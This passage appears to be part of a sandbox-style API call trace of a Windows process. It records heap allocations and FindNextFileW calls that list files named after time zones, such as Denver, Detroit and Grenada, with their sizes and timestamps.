Flags=0x8, Size=0x80) returned 0x1250d58 [0088.521] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be2c8 [0088.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1323260 [0088.522] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.522] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x330, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chihuahua", cAlternateFileName="")) returned 1 [0088.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.522] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be2e8 [0088.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13232e8 [0088.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.523] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="Costa_Rica", cAlternateFileName="")) returned 1 [0088.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be308 [0088.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1323370 [0088.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.524] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x49, dwReserved0=0x0, dwReserved1=0x0, cFileName="Creston", cAlternateFileName="")) returned 1 [0088.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.525] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.525] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.526] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be328 [0088.526] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13233f8 [0088.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.526] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x44c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cuiaba", cAlternateFileName="")) returned 1 [0088.526] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.526] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.527] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be348 [0088.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1323480 [0088.527] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.527] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Curacao", cAlternateFileName="")) returned 1 [0088.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be368 [0088.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1323508 [0088.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.529] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="Danmarkshavn", cAlternateFileName="")) returned 1 [0088.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be388 [0088.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1323590 [0088.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.530] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x454, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dawson", cAlternateFileName="")) returned 1 [0088.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be3a8 [0088.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1323618 [0088.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.532] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dawson_Creek", cAlternateFileName="")) returned 1 [0088.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be3c8 [0088.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13236a0 [0088.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8740) returned 0x132a698 [0088.534] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x538, dwReserved0=0x0, dwReserved1=0x0, cFileName="Denver", cAlternateFileName="")) returned 1 [0088.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.535] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be3e8 [0088.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1323728 [0088.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.536] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Detroit", cAlternateFileName="")) returned 1 [0088.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.537] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be408 [0088.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13237b0 [0088.537] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.537] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dominica", cAlternateFileName="")) returned 1 [0088.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be428 [0088.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1323838 [0088.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.539] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Edmonton", cAlternateFileName="")) returned 1 [0088.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be448 [0088.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13238c0 [0088.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.541] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x141, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eirunepe", cAlternateFileName="")) returned 1 [0088.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be468 [0088.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1323948 [0088.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.542] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x69, dwReserved0=0x0, dwReserved1=0x0, cFileName="El_Salvador", cAlternateFileName="")) returned 1 [0088.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be488 [0088.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13239d0 [0088.544] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.544] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x179, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fortaleza", cAlternateFileName="")) returned 1 [0088.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.544] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.545] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be4a8 [0088.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1323a58 [0088.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.546] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Glace_Bay", cAlternateFileName="")) returned 1 [0088.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be4c8 [0088.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1323ae0 [0088.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.547] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Godthab", cAlternateFileName="")) returned 1 [0088.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.548] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.548] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be4e8 [0088.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1323b68 [0088.549] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.549] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Goose_Bay", cAlternateFileName="")) returned 1 [0088.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.549] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.550] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.550] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.550] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be508 [0088.550] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1323bf0 [0088.550] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.550] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grand_Turk", cAlternateFileName="")) returned 1 [0088.551] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.551] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.551] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.551] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.551] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.552] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be528 [0088.552] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1323c78 [0088.552] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.552] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grenada", cAlternateFileName="")) returned 1 [0088.552] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.553] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.553] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.553] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.553] 